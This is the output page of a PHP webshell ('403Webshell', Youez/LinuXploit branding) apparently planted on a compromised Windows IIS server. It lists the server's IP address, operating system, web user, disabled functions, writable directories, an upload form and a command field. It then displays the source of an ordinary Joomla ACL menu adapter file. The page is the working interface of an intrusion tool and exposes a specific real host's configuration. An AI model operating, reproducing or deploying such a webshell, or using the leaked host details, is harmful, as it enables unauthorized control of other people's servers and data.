403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/icd/administrator/components/com_noixacl/adapters/menu/plugin.php
<?php
/**
 * No Direct Access
 */
defined( '_JEXEC' ) or die( 'Restricted access' );

class PluginMenu extends Adapters
{
    function administrator(){
        $result = array(
            'task' => JRequest::getCMD('task'),
            'params' => array(
                '$menutype' => JRequest::getVar('menutype')
            )
        );

        return $result;
    }

    function site(){
        $menu = &JSite::getMenu();
        $menuActive = $menu->getActive();
        
        $arrMenuActive['menutype'] = $menuActive->menutype;
        $arrMenuActive['id'] = $menuActive->id;
        
        if( $menuActive->access == 0){
        	$arrMenuActive['menutype'] = '';
        	$arrMenuActive['id'] = '';
        }

        $result = array(
            'task' => 'access',
            'params' => array(
                '$menutype' => $arrMenuActive['menutype'],
        		'$menu_id' => $arrMenuActive['id']
            )
        );
        
        return $result;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit